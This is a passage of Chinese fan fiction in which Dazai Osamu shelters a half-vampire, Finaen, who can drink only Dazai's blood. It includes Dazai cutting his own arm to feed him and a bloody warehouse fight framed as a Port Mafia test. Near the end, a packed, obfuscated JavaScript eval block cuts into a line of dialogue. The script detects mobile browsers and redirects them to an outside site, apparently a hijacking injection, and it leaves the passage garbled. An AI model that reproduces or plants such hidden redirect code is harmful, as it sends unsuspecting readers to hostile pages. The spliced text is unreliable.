鲜红的汁液顺着他精致的下巴滴落,在米色的地毯上洇开一小朵刺目的。 他舔了舔沾着汁液的唇角,竟还带着点满足感:“……味道好像还不错。” 太宰治彻底失去了所有的力气。 菲那恩就这么被一路“屈辱”地拖回了房间,像个被收缴的违禁品被扔在床脚。 他艰难地抬起头,那双红宝石般的眼睛里此刻盈满了货真价实的委屈,控诉地看着太宰治,“……没有棺材,不舒服。” 太宰治表情冷硬如铁,不为所动:“可冰箱不是棺材哦,菲那恩。” 菲那恩的脸皱成一团,像个得不到心爱玩具的孩子,固执地重申:“我想要棺材!我的水晶棺!” “没有棺材,”太宰治故意拖长了调子,语气带着点幸灾乐祸的夸张,“你的水晶棺啊,被中也那暴力狂一拳打碎啦——碎成——粉末了哦!风一吹,呼~就没了。” 菲那恩根本听不进去,血族的固执在此刻体现得淋漓尽致:“没有棺材我会睡不着的!会枯萎的!” “诶——”太宰治像是突然被点醒,鸢色的眼眸亮起一丝恶劣的光芒,仿佛想到了绝妙的主意,“话说回来,你们血族能不能变成蝙蝠?或许你可以像蝙蝠一样倒挂在天花板的吊灯上睡觉?省地方还通风……” “不行啊——!”菲那恩差点跳起来,“谁跟你说血族能变成蝙蝠了?” 最终,为了图个暂时的清净,太宰治将这只闹腾的吸血鬼塞进了房间里空置的衣柜。 他甚至“体贴”地回自己房间抱来好几个蓬松的枕头,一股脑儿地砸进去,精准地覆盖在菲那恩身上,把他埋了起来。 菲那恩:“……” 被枕头掩埋的菲那恩终于暂时消停了,连番折腾下来,连太宰治也感到了一丝倦意。 然而,菲那恩会就此乖乖安眠吗?答案显然是否定的。 凌晨三点。 “咚…沙沙…咚…咚!” 衣柜里持续传来沉闷的撞击和布料摩擦声,像有只不安分的小动物在里面刨窝,这声音精准地刺破了太宰治本就浅薄的睡眠。 他带着一身低气压,满脸不悦地再次踏入菲那恩的房间,猛地拉开了衣柜门。 月光透过窗户,恰好洒落在柜内。 菲那恩蜷缩在衣柜深处,怀里紧紧抱着一个天鹅绒枕头,将自己缩成小小的一团。 破碎的月光揉碎在他低垂的、凝结着细小水珠的银白眼睫间,或许是泪,或许是之前冰箱的霜气,使得单薄的身影在黑暗中显得格外脆弱。 领口因挣扎而松散开,露出一段精致的锁骨。 而那自锁骨下方一个精巧的蔷薇刻印处,蔓延出数道暗红色的、如同活物般的蔷薇纹路,一路攀爬至他的眼尾,在苍白得近乎透明的肌肤上勾勒出神秘而危险的图案。 太宰治一时被这幅诡丽画面震撼到愣在原地。 菲那恩的尖牙无意识地抵着下唇,轻轻颤抖着,那双红宝石般的眼睛在黑暗中异常明亮,湿漉漉地望向门口的不速之客,里面盛满了困惑和……一丝不易察觉的茫然? 太宰治看着菲那恩,他轻叹一声,声音难得地带上了一丝温度:“真漂亮的眼睛啊……像最顶级的红宝石,璀璨又危险。” 菲那恩喃喃道,“……饿了。” 太宰治挑了挑眉,似乎早有预料。 他没有说话,转身走出了房间。 菲那恩蜷缩在衣柜里,不安地等待着。过了片刻,太宰治回来了,手里拿着一个印有港口黑手党医疗部标志的、冰冷的金属冷藏箱。 他当着菲那恩的面打开箱子,里面整齐排列着几袋不同血型的、深红色的医用血浆。 “喏,”太宰治的语气恢复了惯常的轻佻,将一袋血浆抛给菲那恩,眼中闪过一丝异样的光,“港口mafia特供,品质保证,试试看?” 菲那恩接过那袋冰冷的血浆,眼中闪过一丝犹豫,但随后他便撕开封口,仰头便将那粘稠的液体灌入口中。 “唔——!” 几乎是瞬间,菲那恩的身体剧烈地痉挛了一下!他猛地将口中的血浆吐了出来,双手死死捂住腹部,整个人痛苦地蜷缩起来,从衣柜中跌落到冰冷的地板上,银环撞击地板发出一声清脆的响声。 “呃啊……”痛苦的呻吟从他紧咬的牙关中溢出。 他感觉自己的胃里仿佛被灌进了滚烫的岩浆,剧烈的灼烧感伴随着强烈的恶心感翻江倒海。 那不是单纯的难喝,而是一种来自身体深处的、强烈的排斥。 “不……不可能……”菲那恩喘息着,眼中充满了难以置信的恐慌。 他不顾那翻涌的恶心,挣扎着爬向冷藏箱,像抓住最后的救命稻草,又拿起另一袋不同血型的血浆,颤抖着撕开,再次灌下。 “呕——!” 结果更加惨烈,他剧烈地干呕起来,胃液混合着腥甜的血浆从他嘴角溢出,狼狈地滴落在昂贵的地毯上。 他痛苦地蜷缩在地板上,身体因剧烈的生理反应 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那双鸢色的眼眸在黑暗中看不清情绪,但声音却带着一种奇异的平静。 菲那恩像抓住了最后一根浮木,几乎是本能地喊道:“要!我要……” 一个模糊的念头在他混乱的脑海中闪过——只要这个人的血可以,那就…… 太宰治没有回答,只是平静地从家居服口袋里摸出一把折叠小刀——那刀锋在月光下闪过一道冷冽的寒光。 他毫不犹豫地在自己的左臂内侧,划开了一道细长而精准的口子。 鲜血,带着鲜活生命力的、温热的鲜血,瞬间涌了出来,一股极其诱人、仿佛能抚平灵魂焦渴的独特气息瞬间在空气中弥漫开来,盖过了血浆的腥甜和菲那恩呕吐物的酸腐。 菲那恩的瞳孔瞬间放大,所有的痛苦和绝望都被这近在咫尺的甘美气息驱散。 他几乎是扑了过去,双手颤抖着捧住太宰治的手臂,像虔诚的信徒捧住圣杯。 他没有撕咬,只是伸出柔软的舌尖,带着一种近乎膜拜的急切和小心翼翼,一下又一下地吮吸、舔舐着那道伤口。 太宰治呼吸一滞。 那温热的血液流入菲那恩的喉咙,只有一种难以言喻的、深入骨髓的甘甜和满足感,如同久旱逢甘霖,瞬间滋润了他干涸的血管和濒临崩溃的灵魂。 他体内翻腾的痛苦和焦躁如同被一只无形的手抚平,蔷薇纹路也在一瞬间暗淡消失。 同时,在他舔舐之下,太宰治手臂上那道细长的伤口,正以肉眼可见的速度迅速愈合、消失,只留下一道浅浅的红痕。 他贪婪地吮吸着最后一丝血腥气,然后身体彻底软了下来。 他像只终于找到归宿的幼兽,亲昵又依恋地将太宰治那条刚刚被“使用”过的手臂紧紧抱在怀里,脸颊无意识地蹭着对方微凉的皮肤,发出满足的、细微的喟叹。 沉重的眼皮再也支撑不住,几乎是瞬间,他就陷入了深度而安稳的沉眠。 房间里只剩下他均匀而绵长的呼吸声,以及月光下他抱着太宰治手臂的、毫无防备的睡颜。 太宰治保持着单膝跪地的姿势,低头看着臂弯里沉沉睡去的菲那恩。 月光勾勒出对方精致的轮廓,粉色的长发散乱地铺在他的腿上和地板上,尖耳朵耷拉着,那双总是充满警惕或固执的红眸紧闭着,长睫安静地垂下,此刻显得无比脆弱。 太宰治伸出手指,极其轻缓地拂过菲那恩泛红的眼角,指尖传来微凉的湿意。 他鸢色的眼眸深处,只剩下一种深沉的、难以解读的复杂。 他轻轻抱起菲那恩——那身体轻得不可思议——将他小心地放回床上,盖好被子。 他站在床边,看着菲那恩在睡梦中无意识地将脸埋进枕头,仿佛在寻求最后一点安全感。 太宰治的目光落在对方锁骨下方心脏处,那若隐若现的蔷薇刻印和暗红纹路上,又移回到那张毫无防备的睡颜。 ……啧。 他无声地咂了下嘴,转身悄无声息地离开了房间,轻轻带上了门。 那背影在月光下,似乎也带上了一丝不易察觉的愧疚感? 11. 新生 清晨熹微的光线透过厚重的窗帘缝隙,吝啬地洒在菲那恩的眼睑上。 他纤长的银白色睫毛颤动了几下,才费力地睁开沉重的眼帘。 他发现自己躺在柔软的床上,身上盖着轻暖的被子,动了动,脚踝上的银环发出细微的轻响。 昨夜混乱的记忆碎片瞬间涌入脑海—— 他的手指逐渐收紧,为什么那些血浆会让他这么难受……? 到底怎么回事,是身体错觉……还是真的? 这对于一个血族来说可不是好事情,人类可是会死的。 然而他是半血族,并没有将人类初拥为血族的能力,一旦太宰治死去…… 不过他可是菲那恩·德·图拉尔,改变人类细胞活性的秘术,稍微用点时间研究,大概就能研究出来。 不受待见的混血,天赋却出奇地高,可真讽刺啊。 菲那恩深呼吸一口气,喃喃自语道:“算了,先不想了,先去看看太宰在干嘛。” 他轻巧地滑下床,赤足踩在冰凉的地板上,几乎没有发出声音。 他身上还穿着昨夜那套深灰色的居家服,柔软的布料贴着皮肤,但此刻他全部的注意力都被那股刻骨铭心的气息源头吸引——那股清冽中带着一丝独特甘甜的血气,从隔壁房间传来。 门没有锁。 菲那恩推开一条缝隙,溜了进去。 房间里拉着厚重的遮光窗帘,光线昏暗。太宰治深陷在宽大的床铺中,被子蒙过头顶,只露出一绺凌乱的黑发。 他整个人蜷缩着,像一个用被子筑起的堡垒,散发着浓重的“生人勿近”和“极度疲惫”的气息。 感觉太宰有点可爱…… 菲那恩在床边跪坐下来,双臂交叠搁在床沿,下巴轻轻枕在手背上。 他就这样安静地、一动不动地凝视着床上那个鼓起的被团,粉色长发柔顺地垂落在身侧和床单上,在昏暗中泛着微光。 他屏住呼吸,睁大了那双红宝石般的眼睛,一眨不眨地、极其专注地凝视着床上熟睡的人。 从太宰治微蹙的眉头,到覆盖着绷带的半张脸,再到随着呼吸微微起伏的肩线……每一个细节都落在他专注的目光里。 时间在寂静中流淌,阳光似乎努力想穿透厚重的窗帘,房间里比刚才亮了一些。 太宰治的睡眠非常浅,对视线更是有着近乎本能的警觉。 被团里传来一声模糊的、仿佛濒死般的呻吟。 紧接着,被子被粗暴地掀开一角,露出太宰治那张写满“生无可恋”的脸。 他眼下是浓重得化不开的、如同晕染开的墨色般的黑眼圈。 太宰治极其不情愿地、像被粘稠黑暗拖拽着般,缓慢地掀开了沉重的眼皮。 视线还有些模糊,但对焦的瞬间,就精准地捕捉到了床边那个几乎要贴上来的粉色脑袋,以及那双在昏暗中亮得惊人的、直勾勾盯着他的赤红眼眸。 “…………” 太宰治的大脑空白了一瞬,随即被一股混合着“果然如此”的荒谬感和“大清早被吸血鬼当珍稀动物观赏”的极度烦躁填满。 他猛地拉高被子,把自己连头带脸蒙了个严严实实,声音隔着被子闷闷地传出来,带着浓重的睡意和毫不掩饰的起床气:“菲那恩……你是打算用你的眼神在我脸上烧出两个洞吗?!” 菲那恩完全没有被他的低气压吓退,反而因为他的醒来,眼中亮光更盛。 他又往前凑了凑,“太宰,你醒了!” 那语气,活像是发现了什么了不起的奇迹。 太宰治猛地掀开被子坐起身,头发乱得像鸡窝,鸢色的眼睛里充满了睡眠不足的血丝和“我现在很想把某个麻烦精扔出窗外”的暴躁。 “托你的福。”他没好气地回道,揉了揉突突直跳的太阳穴,“大清早不睡觉,趴在我床边当石像鬼?” “我睡醒了。”菲那恩回答得理所当然,甚至带着点小骄傲,“而且,睡得很舒服。” 太宰治瞥了他一眼,烦躁地抓了抓头发,决定暂时忽略这个话题:“所以,你把我盯醒,就是为了告诉我你睡得很好?” “不是。”菲那恩立刻摇头,粉色的长发跟着晃动。他赤红的眼眸里闪过一丝迷茫,然后被一种更原始的感觉取代——一种空落落的、来自胃部的感觉。 “……我饿了。”他小声补充道,声音带着点委屈。 太宰治的眉头皱得更紧了,几乎能夹死苍蝇:“……哈?饿了?” 他简直要被气笑了,“菲那恩,容我提醒你一下,就在不到五个小时前,我才‘慷慨地’贡献了自己宝贵的血液给你当宵夜。” 菲那恩被他的质问弄得有点懵,他歪了歪头,粉色长发滑落肩头,认真地解释:“不是血……是那种饿。” 他指了指自己的腹部,“这里,空空的,感觉很奇怪,想要……被填满。” 他努力寻找着人类形容饥饿的词汇,“就是……想吃东西,像人类那样。” 其实纯血族是无法食用人类食物的,而菲那恩这只半血族,属于是血液喝不饱,那就吃人类食物填肚子,只是会没有营养罢了。 太宰治盯着他那张写满无辜和生理需求的脸,鸢色的眼眸里充满了绝望。 他重重地叹了口气,像被抽走了所有力气,重新倒回枕头上,用被子蒙住头,声音闷闷地传来,带着最后的挣扎:“厨房在那边……冰箱里有食材……自己看着弄点吃的,别指望我,我做的东西都不是人能吃的……” 说完,被团里彻底没了声息,仿佛已经当场去世。 菲那恩看着那个重新裹紧的“堡垒”,眨了眨赤红的眼睛。 自己……弄吃的? 他带着一丝新奇和“这应该不难”的莫名自信,赤着脚,悄无声息地溜出了太宰治的房间,直奔厨房。 厨房很宽敞,设备齐全。 菲那恩站在巨大的双开门冰箱前,拉开了门,里面有不少食材,花花绿绿,看得他眼花缭乱。 他拿出几个鸡蛋,一盒牛奶,又看到一块包装好的火腿。 嗯,看起来都像是能吃的。 他学着记忆中模糊的人类动作,把平底锅放在一个发着蓝光的圆盘上(电磁炉),然后倒进去……一整盒牛奶? 接着,他笨拙地试图单手打鸡蛋,蛋壳碎了一手,蛋液有一半流到了灶台上。剩下的几个鸡蛋也遭遇了同样的命运,狼狈地混在牛奶里。 最后,他把整块火腿直接扔进了这锅黏糊糊的混合物里。 菲那恩满意地看着自己的“杰作”,找到了一个旋钮,凭感觉拧到了最大——那蓝光瞬间变得刺眼而炽热。 他抱着手臂,期待地看着锅里。 几秒钟后,刺鼻的焦糊味开始弥漫。 锅里的牛奶鸡蛋混合物迅速沸腾、冒泡,然后边缘开始发黑、碳化,滋滋作响的声音越来越大,浓烟滚滚升起,火腿片在沸腾的焦糊泥浆里沉浮…… “嗯?”菲那恩困惑地凑近,被浓烟呛得咳嗽起来,“怎么……好像不对……” 就在这时—— “砰!” 一声不算剧烈但足够惊悚的闷响,锅里的混合物因为过热和水分急剧蒸发,发生了小规模的喷溅,焦黑的蛋液和牛奶混合物如同微型火山爆发般溅射出来,糊满了灶台和菲那恩身前的深灰色居家服,浓烟警报器尖锐地嘶鸣起来。 “啊啊!”菲那恩被烫得轻叫一声,手忙脚乱地想关掉那个发蓝光的圆盘,却找不到正确的旋钮,反而把旁边的水龙头打开了,水哗哗地流进旁边一个干烧的空锅里,发出更恐怖的滋滋声,蒸汽和焦烟混合在一起——厨房瞬间变成了灾难现场。 下一秒,太宰治的身影如同鬼魅般出现在厨房门口。 他头发凌乱,脸色铁青,眼下的黑眼圈在烟雾缭绕中显得更加恐怖,身上还穿着菲那恩同款居家服。 他看着眼前狼藉一片的厨房,以及那个站在灾难中心、一脸无辜和茫然的“罪魁祸首”,只觉得眼前一黑。 其实……倒也不是那么意外。 太宰治深深地叹了口气,“去客厅待着,在我收拾完这个‘战场’之前,不准靠近厨房半步。” 菲那恩突然莫名其妙地起了反骨,蹙眉,“为什么?” “……”太宰治无语了,非但不怕,反而幽幽地盯着菲那恩,“好啊,我尊贵的吸血鬼大人,那你来收拾?” 菲那恩一想到刚刚厨房恐怖的模样,头摇得跟拨浪鼓一样,“不不不,我觉得我还是去客厅待着比较好……” 随后他立刻像受惊的兔子一样,飞快地溜出了厨房,乖乖坐到客厅的沙发上,还偷偷用眼角余光瞟着厨房门口。 他抱着膝盖,听着厨房里传来的擦洗声,莫名地感到一阵心虚,脚踝上的银环随着他不安的晃动,发出细微的轻响。 太宰治把厨房大致收拾完毕,就开始做早餐。 众所周知,太宰治喜欢做黑暗料理,但是真要做正常饭也是会做的。 他今天没有打算做黑暗料理,或许是想起昨天晚上的事,对菲那恩的莫名的愧疚吧。 他的动作意外地异常利落精准,整个过程行云流水,没有一丝多余的动作,与刚才菲那恩制造的灾难现场形成了鲜明对比。 很快,两份色泽金黄、香气扑鼻的滑蛋,两片烤得恰到好处、边缘微焦的吐司,以及两杯温热的牛奶就被端到了客厅的小桌上。 食物的香气驱散了残留的焦糊味。 太宰治把一份推到菲那恩面前,自己拿起另一份,声音没什么精神,“你吃完把盘子洗了吧。” 他顿了顿,抬眼看向菲那恩,“你应该不会把盘子打碎吧,菲那恩君?” 菲那恩信誓旦旦地说道:“当然不会,这么简单的事情我还是能做好的。” 太宰治半信半疑地点了点头。 菲那恩看着眼前热气腾腾、散发着诱人香气的食物,又偷偷瞄了一眼太宰治。 他拿起叉子,小心翼翼地戳了一块滑蛋放进嘴里——温润、嫩滑、带着奶香和黄油香,瞬间抚慰了他空空如也的胃。 “好吃!”菲那恩的眼睛瞬间亮了,立刻埋头专注地吃了起来。 太宰治看着他狼吞虎咽的样子,面无表情地吃着自己那份,只是紧皱的眉头似乎稍微松动了那么一丝丝。 吃完早餐,菲那恩果然又被那巨大的樱粉色和服礼盒吸引了。 他放下空盘子,指着盒子:“那个粉色的衣服,我想穿那个!” 他的表情很认真,带着一丝显而易见的困惑和为难:“但我不会穿。”他顿了顿,补充道,“人类的衣服……太复杂了。” 太宰治放下牛奶杯,瞥了一眼角落那个巨大的礼盒,又看了看菲那恩身上那件沾着焦糊污渍的 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几缕不听话的黑色卷发垂落额前,与他耳际的绷带边缘交织,竟有一种脆弱又奇异的美感。 他甚至无意识地放缓了呼吸,生怕惊扰了此刻的宁静。 原来人类真的可以长得这样……好看,比他记忆中任何一件冰冷的艺术品,任何一座孤寂的古堡雕像,都要生动得多。 他看得太过入神,以至于完全没注意到太宰治手上的动作何时停了下来。 腰间突然一紧。 “呜唔……!”菲那恩猝不及防地倒吸一口凉气,腰带被太宰治恶作剧般地收紧了一寸,勒得他差点岔气。 但他还是强忍着没动,只是用控诉又无辜的眼神看着始作俑者。 太宰治凑近了些,脸上挂着令人心底发毛的、过分灿烂的微笑,鸢色的眼眸却深不见底,紧盯着菲那恩那双因吃痛而更显水润的红眸:“菲那恩君刚才是不是在想什么很失礼的事情呢?” 菲那恩身体瞬间僵硬,面无表情地将头用力扭向一边,避开那仿佛能看透人心的视线:“没什么!我什么也没想!” 说着,他没忍住向后退了一步。 下一秒,腰带猛地被扯住,将他踉跄地拽回原地。 “说了,别动。”太宰治的声音带着不易察觉的掌控感。 “知道了。”菲那恩小声嘟囔,彻底老实了。 他知道刚刚是自己的目光太过无礼,因此也不敢再明目张胆地盯着对方的脸看。 接下来的穿衣过程,他变得异常乖巧,让抬手就抬手,让转身就转身,像个被设定好程序的精致玩偶。 不一会儿,樱粉色的和服便妥帖地穿在了他身上,尺寸竟意外地合身。 “嗯~”太宰治退后一步,上下打量着焕然一新的菲那恩,嘴角勾起一抹真心的、带着欣赏的弧度,“很适合你哦。” 菲那恩走到穿衣镜前,看着镜中的自己,微微有些出神。 镜子里的人影,熟悉又陌生。丝绸的触感柔滑微凉,带着一种他从未体验过的、属于此世此地的细腻。 简约的剪裁勾勒出他略显纤细的腰身宽大的袖口垂落,露出一截白皙的手腕,脚踝上的银环在衣摆下若隐若现。 一种极其微妙的感觉,如同投入湖心的石子,在他沉寂的心湖中漾开一圈圈涟漪。 而是一种更深沉的、近乎颠覆性的认知——这身衣服,与他过往世界里的一切都截然不同。 它不属于那个冰冷、肃杀、弥漫着腐朽气息和古老规则的旧世界。 它属于这里,属于横滨,属于这个充斥着喧嚣、混乱、却也带着奇异生机的钢铁丛林。 它柔软,带着温度,带着一种属于当下的、属于人类的烟火气。 ——他真的……不在原来的世界了。 那个他厌恶的、充满束缚与冰冷的旧世界,连同那具被打碎的水晶棺椁一起,被留在了时空的另一端,成为了模糊的背景。 这个认知并非此刻才出现,但在此刻,在穿上这身格格不入却又意外契合的樱色和服时,才变得如此清晰、如此深刻、如此……具象化。 或许,在这个全新的、混乱的世界里,一切真的都可以重新开始?以一个新的身份,穿着新的衣服,拥有……新的可能? “太宰……”菲那恩的声音很轻,带着一丝不易察觉的恍惚,他转过头,看向倚在门框边的太宰治,眼神里是纯粹的困惑与确认,“我穿这个……真的……很不一样。” 太宰治看着镜前怔忪的菲那恩,看着他眼中那抹因新世界实感而生的、近乎天真的迷茫,嘴角那抹欣赏的笑意加深了,带着一种掌控者目睹棋子踏入预设轨道的了然与玩味。 “当然,”他轻轻拍了拍手,掌声在寂静的房间里显得格外清晰,“——欢迎加入港口mafia,菲那恩君。” “这里的一切,都会很‘不一样’。”他的声音温和依旧,却在那“不一样”三个字上,落下了意味深长的重音。 菲那恩的目光重新落回镜中那个樱色的身影上。 他不再只是看着一件衣服,而是看着一个全新的、已然开启的篇章。 一个他厌恶的旧世界彻底远去,而前方,是属于横滨的、未知的、或许……也并非全然无望的新生。 12. 测试 菲那恩突然感觉自己可能进错了组织。 “B—7废弃仓库,确认有敌对组织‘毒蝎’残党,七人。菲那恩君,请你独自处理干净,太宰君负责接送——” 太宰治看着手机短信学着森鸥外的语气绘声绘色地念道。 这是森鸥外的命令,简洁而冷酷得像手术刀划过皮肤。 闻言,正准备再与游戏机一战的的菲那恩神色一滞,血红的眸子中露出一丝困惑。 他满含哀怨地冒了一句:“你们的首领一定经常压榨员工吧。” 还没正式上岗就叫干活了。 “不是你们的,是我们的哦,”太宰治兀地笑出声,随即又摆了摆手,一言难尽道:“森先生确实是个经常压榨员工的无良老板。” 黑色的轿车在夜色中逐渐驶向港口区边缘。 菲那恩用混淆认知的秘术,让他的尖耳看起来就像普通的耳廓,唇间若隐若现的獠牙也收起来,伪装成了虎牙——除了拥有“人间失格”的太宰治,无人能看穿这层幻象。 菲那恩乖巧地坐在后座,车窗是完全打开的,空气里弥漫着海水的咸腥和铁锈的陈旧气味。 他望着窗外的飞速倒退的、如同巨大怪兽骨架般的废弃厂房轮廓。 柔和的樱粉色衬得他肌肤愈发苍白透明,宽大的袖口和飘逸的衣袂在风中轻扬,像一朵误落钢铁丛林的早樱。 随着逐渐深入港口废弃仓库区,车窗被太宰治关上了。 菲那恩的尖耳朵微微动了动。 他能清晰地听到自己体内血液流动的声音,比平时更缓慢一些——似乎是因为今天一整天都未进食血液导致的。 更要命的是,此时此刻,那股独属于太宰治血液的、如同陈年佳酿般馥郁醇厚的甜香,骤然在车厢内加深。 一种熟悉的、深入骨髓的空虚感和焦渴感开始从胃里升腾,像无数细小的藤蔓,缠绕着他的神经,蔓延只四肢百骸。 他努力维持着血族冷静而优雅的姿态,但微微急促的呼吸和喉结不易察觉的滚动,还是暴露了他的窘迫。 他侧过头,血红的眸子看向身旁闭目养神的太宰治,声音很轻,不自觉地带着一丝软糯的沙哑:“太宰。” 太宰治闻言,懒洋洋地掀开眼皮:“嗯?” “好像有点饿了……”菲那恩抿了抿唇,长长的白色睫毛垂下来,遮住了眼底翻涌的渴望。 太宰治鸢色的眼眸里闪过一丝了然,随即他像是报仇,又像是突然恶劣起来的顽童,脸上是惯常的、带着点恶劣的玩味。 他仿佛没听见菲那恩的诉求,反而慢悠悠地提醒道:“菲那恩君,任务地点到了哦。七只烦人的‘毒蝎’,清理干净,动作快点,才有‘饭’吃哦。” 他刻意加重了“七只”这个数字。 “你不能断我口粮,这是约定。”菲那恩一脸严肃,意有所指自己加入港口mafia的原因。 太宰治脸上依旧挂着那从容的笑,改口道:“那就清理干净后才更适合吃饭?” 菲那恩闻言,思考一会儿,觉得有道理。 他深吸一口气,压下胃里翻腾的饥饿感。 那他就先委屈自己忍忍吧,等完成任务再说。 随后,他推开车门,咸腥冰冷的海风瞬间灌入,让他精神微微一振。 他最后看了一眼车内姿态闲适的太宰治,以及前方驾驶座上那个目不斜视、仿佛把自己当成空气的司机,转身融入了仓库区的阴影中。 车门关上,隔绝了外界的声音。 司机,一个名叫田中、以沉默寡言和绝对忠诚著称的港口Mafia成员,依旧保持着标准的坐姿,只是握着方向盘的手心微微渗出了汗。 他刚才从后视镜里瞥见了那位漂亮得不像话的少年看太宰干部的眼神……还有太宰干部那副看好戏的表情…… 田中在心里默念港口Mafia员工守则第一条:不该看的不看,不该听的不听,不该想的不想。 仓库内,死寂一片,只有海风穿过破损窗户的呜咽。 菲那恩站在巨大的阴影里,樱粉色的和服在黑暗中几乎隐形。 他闭上眼,再睁开时,那双赤红的眼眸里所有的懵懂、依赖和饥饿带来的脆弱都已消失殆尽,只剩下一种无机质般的、纯粹的冰冷。 仓库外,黑色的轿车里。 太宰治不知何时拿出了一台平板电脑,屏幕上清晰地分割出几个画面,正是仓库内部的监控影像。 他悠闲地靠在椅背上,指尖在屏幕上轻轻滑动,嘴角噙着一抹笑。 “唔,森先生说七人?真是抱歉,好像少说了几个呢……还有那挺可爱的重机枪,希望菲那恩君喜欢这份‘惊喜’。” 他自言自语般低喃,声音轻得只有自己能听见,目光却紧紧锁定在屏幕上那个樱粉色的身影上。 然而,几乎在菲那恩踏入某个区域的瞬间,刺耳的枪声撕裂了寂静! “哒哒哒——!” 密集的子弹如同骤雨般从暗处的火力点倾泻而下,目标明确地覆盖了菲那恩所在的位置。 监控画面中,菲那恩的身影如同鬼魅般消失,原地只留下被子弹激起的尘土和碎屑。 下一秒,他出现在一个持枪者的身后,动作快得只留下一道模糊的粉影。 没有多余的动作,苍白的手指精准地扼住对方的后颈,指尖微一用力—— “咔嚓。” 轻微的骨裂声被淹没在枪声中,那人如同断线的木偶般软倒。 太宰治挑了挑眉:“不错的速度。” 然而,枪声暴露了位置,更多的敌人从集装箱后、高处的平台上涌出,足有十数人之多。 他们配合默契,交叉火力瞬间封锁了菲那恩所有闪避的空间。 子弹擦过他的衣袖、脸颊,带起灼热的气流。 他在弹幕中穿梭,每一次闪避都险之又险。 “砰!”一颗子弹擦过他的手臂,带出一道血痕。 菲那恩眉头都没皱一下,仿佛那只是被蚊子叮了一口。 他反手甩出几道肉眼几乎无法捕捉的暗红色能量刃,精准地切断了两名枪手的喉咙。 就在这时,高处的敌人架起了那挺太宰治“忘记”提到的重机枪,黑洞洞的枪口喷吐出致命的火舌。 “轰!轰!轰!” 重机枪的咆哮震耳欲聋,大口径子弹如同犁地般扫射而来,将菲那恩附近的集装箱和地面打得千疮百孔,碎石和金属碎片四处飞溅。 监控前的太宰治微微坐直了身体,眼中没了笑意。 菲那恩瞳孔微缩,瞬间判断出硬抗或闪避都极其危险。 他猛地向后急退,口中快速吐出几个古老而陌生的音节。 嗡! 他的身影瞬间化作一片浓郁如血的绯红雾气,无视物理阻碍,如同液体般渗入旁边一个集装箱的缝隙,堪堪避开了致命的扫射线! “哦?”太宰治眼中闪过一丝真正的惊讶,“血族的秘术……真是便利啊。” 但他也注意到,重新在集装箱另一侧凝聚出身形的菲那恩,脸色似乎比刚才更加苍白了一分,呼吸也略显急促。 连续使用秘术,加上饥饿和枪伤,显然在消耗他的力量。 菲那恩刚站稳,脚步却猛地一顿。 眼前的景象仿佛扭曲了一瞬——那些端着枪、面目狰狞围拢上来的敌人,他们手中枪口喷射的火光,映照在他们充满杀意和贪婪的脸上,那跳动的火焰…… 像极了记忆中,那些举着火把、面容扭曲、叫嚣着“烧死异端!烧死她和那个小怪物!”的村民。 冰冷的仓库空气仿佛变成了那个燥热、充满烟尘的夜晚。 母亲将他死死护在身后的颤抖手臂,村民们疯狂而愚昧的呐喊,火把噼啪燃烧的声音……所有被刻意遗忘的恐惧、愤怒和冰冷的绝望,如同潮水般汹涌回卷。 “滚开……”菲那恩的声音带着一丝他自己都没察觉的颤抖。 那双冰冷的红眸深处,第一次燃起了真实的、近乎疯狂的怒火。 不是因为任务,不是因为受伤,而是因为这被强行唤醒的、最深沉的梦魇。 “杀了这小杂种!” “别让他跑了!” 敌人的叫嚣与记忆中村民的诅咒重叠! “呃啊——!”他不再闪避,身影化作一道粉色的闪电,主动冲入了敌群,速度、力量瞬间提升到了极致。 监控画面瞬间变得血腥而混乱! 太宰治的瞳孔骤然收缩。 他看到菲那恩不再是精准的收割,而是暴烈的撕扯,苍白的手指如同最锋利的刀刃,毫无章法,但却轻易洞穿敌人的胸膛,捏碎喉骨。 能量刃狂暴地横扫,将人体如同破布般撕裂,鲜血如同喷泉般溅射,染红了樱粉色的和服,也溅上了菲那恩苍白的脸颊和唇角。 他脸上没有任何表情,只有那双赤红的眼眸,燃烧着冰冷到极致、又仿佛要将一切焚毁的火焰,如同地狱归来的修罗。 当最后一个敌人带着难以置信的恐惧表情倒下时,菲那恩站在一片狼藉和血泊中央,微微喘息。 他抬手,用袖口狠狠擦去唇边沾染的敌人温热的血液,眼中闪过一丝毫不掩饰的厌恶和恶心。 “呕……”他干呕了一下,胃里翻江倒海,不是因为血腥,而是因为这血液的味道。 他更加确定了——除了太宰治的血,其他任何血液,都让他本能地排斥和作呕。 仓库内死寂下来,只有浓重的血腥味弥漫。 太宰治关掉了平板,屏幕的光暗下去,映出他脸上少有的、一丝复杂的怔忡。 刚才菲那恩冲入敌群时,那双眼睛里的东西……不是杀戮的愉悦,而是某种被触碰到最痛处后爆发的、纯粹的、带着毁灭意味的悲伤和愤怒? 那种眼神……他从未在像个笨蛋一样的菲那恩身上见过,也……意外地有些刺眼。 他推开车门,海风裹挟着浓重的血腥味扑面而来。 他缓步走向仓库大门。 菲那恩听到脚步声,缓缓转过身。 激烈的战斗和秘术的消耗,加上饥饿和反胃感,让他此刻的脸色苍白如纸,身体微微摇晃,几乎站立不稳。 樱色的和服下摆浸透了暗红的血液,贴在腿上,冰冷而粘腻。 他赤红的眼眸看向走近的太宰治,里面的疯狂火焰已经熄灭,只剩下深深的疲惫和一种近乎虚脱的空洞,以及……无法掩饰的哀伤。 太宰治在他面前站定,鸢色的目光扫过他狼狈的样子,最后落在他苍白得没有一丝血色的脸上。 没有调侃,没有虚伪的关心。 “啧,真是狼狈啊,菲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337549|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那恩君。”他声音平淡,听不出情绪。 然后,他慢条斯理地将小臂上的绷带解开一小段。 他低头看着自己完好的皮肤,眉头微不可察地蹙了一下,小声抱怨了一句,声音轻得像叹息:“我最讨厌疼痛了。” 话音未落,一把不知从哪里摸出来的小刀毫不犹豫地在手臂内侧划开一道细长的口子。 瞬间,那清冽甘甜的、如同生命源泉般的独特气息在浓郁的血腥味中弥漫开来。 